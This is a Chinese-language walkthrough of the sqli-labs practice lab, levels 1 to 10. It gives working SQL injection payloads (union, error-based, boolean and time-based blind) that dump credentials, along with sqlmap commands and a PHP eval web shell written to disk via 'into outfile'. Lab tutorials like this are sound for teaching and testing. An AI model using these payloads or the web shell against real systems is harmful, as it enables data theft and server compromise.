第一关
1.联合注入
第一步:判断参数的类型
?id=1' 页面报错
?id=1' --+ 页面正常 判断参数接受类型为 字符型
查看第一关源码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 证明我们的判断正确!
第二步:猜解字段
?id=1' order by 3 --+ 页面正常
?id=1' order by 4 --+ 页面报错 判断字段长度为 3
第三步:爆数据库名
?id=-1' union select 1,database(),3 --+ 获得数据库名为:security
注意:这里让id=-1,使页面报错,产生回显点!
第四步:爆表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 获得表名为:emails,referers,uagents,users
第五步:爆列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+ 获得列名为:id,username,password
第六步:爆数据
?id=-1' union select 1,group_concat(username,password),3 from users --+
nice!!!到这里我们已经获得了数据库所有账号密码!!!
我们也可以直接使用报错注入获取数据库名!
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
我们还可以使用sqlmap神器一把梭!(只要存在sql注入,sqlmap神器几乎都能梭哈成功)
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/index.php?id=1 --dbs
第二关
第一步:判断参数接受类型
?id=1 and 1=1 页面正常
?id=1 and 1=2 页面报错 判断参数接受类型为 数字型
查看第二关源码:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; 证明我们判断正确
第二步:猜解字段
?id=-1 order by 3 页面正常
?id=-1 order by 4 页面报错 判断字段数为 3
第三步:爆数据库名
?id=-1 union select 1,database(),3
后面的步骤可以参考第一关!
只要注意:字符型注入 ?id=-1' --+ 数字型注入 ?id=-1 两者之间只是一个引号的区别!!
这里我们再来学一条报错注入语句
?id=-1 and extractvalue(1,concat('~',database()))
第三关
第一步:猜参数接受类型
?id=1' 页面报错,从页面的报错信息我们可以猜想sql语句对参数的接受形式为:id = ('$id')
?id=1') 页面报错
?id=1')--+ 页面正常 判断参数接受类型为 括号+单引号 ,即 ('$id')
查看第三关源码:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; 判断正确
后面的步骤和第一关一样!我们可以对比下 第一关 和 第三关 的区别:
第一关:?id=-1' union select 1,2,3 --+
第二关:?id=-1 union select 1,2,3
第三关:?id=-1') union select 1,2,3 --+
区别只是一个参数的闭合方式 ' 和 ') 的区别,所以前期判断参数接受方式非常重要!!!非常重要!!!非常重要!!!
再来学一条报错注入语句;(实战中,如果有回显,报错注入真是美滋滋)
?id=-1') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); --+
第四关
第一步:判断参数接受类型
?id=1' 页面没反应
?id=1" 页面报错,根据页面报错的信息,我们猜测参数接受形式为:id = ("$id")
?id=1")--+ 页面正常
查看第四关源码:
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
可以看见参数这里进行了套娃,最终形式为:id = ("$id"),说明我们判断正确!!!
接下来的步骤类似第三关,只需要把 ') 换成 ") 即可,其他语句不变。
第三关:?id=-1') union select 1,2,3 --+
第四关:?id=-1") union select 1,2,3 --+
第五关
第一步:判断参数接受类型
?id=1' 页面报错
?id=1'--+ 页面正常 判断后台参数接受类型为:id = '$id'
查看第五关源码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 判断正确!!!
第二步:猜字段数
?id=1' order by 3 --+ 页面正常
?id=1' order by 4 --+ 页面报错 判断字段数为 3
第三步:爆数据库
?id=-1' union select 1,database(),3 --+ 页面没有回显数据啊,使用回显点爆数据库行不通!
那就换个姿势,使用无回显的注入方式:报错注入、布尔注入、延时注入!
个人推荐使用优先级:报错注入 >> 布尔注入 >> 延时注入
第四步:使用报错语句爆数据库名
?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ 成功回显数据库名
第五步:使用报错语句爆表名
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+ 成功回显所有表名
第六步:使用报错语句爆列名
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+ 成功回显表user所有列名
第七步:使用报错语句爆数据
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)--+ 成功获取数据库账号密码
第五关小结:前四关我们可以通过报错,页面产生回显点。而第五关则行不通,查看第五关源码。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
从上面的套娃可以看出,if判断只要$sql可以成功执行,那么页面只输出 You are in........... 这段话,不会输出其他任何东西。
第六关
第一步:判断参数接受类型
?id=1' 页面正常
?id=1" 页面报错
?id=1"--+ 页面正常 判断后台参数接受类型为:id = "$id"
查看源码:
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; 判断正确
后面的步骤和第五关一样,只需要把 ' 改为 " 即可。是不是很简单!!!
第七关
这一关对于新手来说非常坎坷,话不多说,开搞!!
第一步:判断参数接受类型
?id=1' 页面报错
?id=1' --+ 页面依然报错,根据前几关的经验,可以猜测参数接受方式存在 () 。
?id=1') --+ 页面报错,别放弃,继续加 () .
?id=1')) --+ 页面正常 判断参数接受方式为 id = (('$id'))
查看第七关源码:$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; 判断正确!
第二步:猜字段数
?id=1')) order by 3 --+ 页面正常
?id=1')) order by 4 --+ 页面报错 判断字段数为 3
第三步:爆数据库名
?id=1')) union select 1,database(),3 --+ 页面无回应,判断为无法输出回显点
第四步:使用报错注入语句
?id=-1')) and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); --+ 偶买噶,页面依然无动于衷!
第五步:换个新姿势
根据页面的提示,我们看到了 You are in.... Use outfile...... 重点是 outfile !!!
先简单的提一下outfile
在MySQL里面使用select … into outfile可以把数据导出到文本文件上
里面有几个参数
secure_file_priv 用来限制导出效果。他有三个属性:
1、null限制不能导出
2、为空可以自定义
3、为一个路径则只能导出到指定路径
datadir是MySQL数据存储位置,是默认的相对位置。
查询时候加上@@ 如@@secure_file_priv、@@datadir
了解了outfile后,我们继续注入。此时为root权限的话,写入一句话还需获得绝对路径。(如果实战可以直接上次查看返回的路径),本地靶场情况不一样。无奈只能去第一关查看mysql根路径!
?id=-1' union select 1,2,@@basedir --+
开始构造路径,写入shell文件。
?id=1')) union select 1,2,'<?php eval($_POST["gjc"]);?>' into outfile "D:\\PhPStudy\\PHPTutorial\\MySQL\\data\\shell.txt"--+
页面报错不用管,去看看我们的mysql根目录有无写入成功
文件成功写入,打开查看数据是否写入成功!
接下来拿出珍藏多年的" 菜刀 "工具直接连接。(蚁剑、冰蝎也可以)。
注意:如果你发现写入未成功,那么可以借鉴以下地址解决问题。我也出现了此类问题,已解决!
[原创]sqli-labs靶场第七关文件无法写入-茶余饭后-看雪论坛-安全社区|安全招聘|bbs.pediy.com
第八关
第一步:猜参数的接受类型
?id=1' 页面报错
?id=1'--+ 页面正常 猜测参数的接受形式:id = '$id'
查看第八关源码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 判断正确!
第二步:猜字段数
?id=1' order by 3 --+ 页面正常
?id=1' order by 4 --+ 页面错误 猜测字段数为3
第三步:爆数据库名
?id=-1' union select 1,database(),3 --+ 页面无动于衷!属于无回显注入。
第四步:采用报错盲注
?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ 页面依旧无动于衷
第五步:采用布尔盲注
(1)判断数据库名长度
?id=1' and length(database())>7 --+ 回显正常
?id=1' and length(database())>8 --+ 回显错误 得到数据库名长度为 8
(2)判断数据库第一位
?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a' --+ 页面出错
这里比较麻烦,26位字母,一位一位判断下去,直到判断正确。
?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e' --+ 页面正常 说明数据库名第一位是 e
重点:手工判断是很耗时的,我们可以使用下面的方法。
1、二分法。(将 字母判断 改为 数字判断,使用ASCII码转化字母为数字)
语句:?id=1' and (select ascii(substr(database(),1,1))=115) --+ ASCII码中 115 为 s 。(具体对应参数可以网上搜 " ASCII码表 ")
2、使用python脚本去跑。(网上有很多文章)
3、使用burp suite工具的inruder功能进行爆破。(个人推荐)
(3)判断数据库名第二位
只要修改 (database(),1,1) 为 (database(),2,1) 即可判断第二位。后面依次类推!!!
(4)判断表名和列名
得到数据库名后,配合前几关查询表的语句构造,依次猜长度、第一位、最后一位即可。
小结:布尔盲注主要是几个函数的使用,所以我们需要先了解函数的参数各自的作用!!!
布尔盲注和延时注入手工太折磨人了,我们使用sqlmap工具直接一把梭!
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-8/index.php?id=1 --dbs
是不是很久!实战中为了get shell,再久也得冲!!!
第九关
第一步:猜参数接受类型
?id=1' 页面没反应
?id=1" 页面没反应
?id=1') 页面没反应 到此可以判断页面无论对错都是原始状态,我们只能使用 延时注入 了!
下面使用睡眠函数sleep()来判断,如果我们的判断正确则睡眠一定时长
?id=1 and sleep(5) 页面缓冲时间正常
?id=1' and sleep(5) --+ 页面缓冲时间明显变长 判断参数接受方式为 id = '$id'
查看第九关源码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 判断正确
注意:页面缓冲可能有网络因素干扰。我们可以打开F12,看网络的请求时间。如下图:
第二步:使用 if() 函数配合 sleep() 函数对数据库名进行判断。
(1)猜数据库名长度
?id=1' and if(length(database())=8,sleep(5),1) --+ 从f12中可以查看到页面延时多了5秒
(2)配合第八关的布尔盲注语句,猜出数据库名
?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(5),1) --+ 从f12中可以查看到页面延时多了5秒
后面的操作我就不一一重复!!
第九关小结:延时注入是我们SQL注入中不得已的时候才使用的绝招。我们要先理解好 if 函数和 sleep 函数原理,再配合布尔注入中的函数语句。便可除尽一切妖魔鬼怪!!!
第十关
第一步:猜参数接受类型
?id=1' 页面没反应
?id=1" 页面没反应
?id=1') 页面没反应 到此可以判断页面无论对错都是原始状态,我们只能使用 延时注入 了!
下面使用睡眠函数sleep()来判断,如果我们的判断正确则睡眠一定时长
?id=1 and sleep(5) 页面缓冲时间正常
?id=1' and sleep(5) --+ 页面缓冲时间正常
?id=1" and sleep(5) --+ 页面缓冲时间明显变长 判断参数接受方式为 id = "$id"
查看第十关源码:
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; 判断正确!
第十关也是延时盲注,差别在第九关的单引号 ' 在第十关变成了 " 。
后面的步骤就不演示了,时间就是金钱。看到延时注入,只想用sqlmap一把梭!不过原理还是要搞懂。
总结:
(1)前十关使用的都是GET注入方式。
(2)代码中参数的接受方式千变万化:id = $id 、id = '$id' 、id = "$id" 、id = ('$id')、id = ("$id") 等等。
(3)学会了mysql中多个函数的使用。
(4)注入的姿势也有很多种,实战中优先级:outfile写入shell > sqlmap > 报错盲注 > 布尔盲注 > 延时盲注 > 其他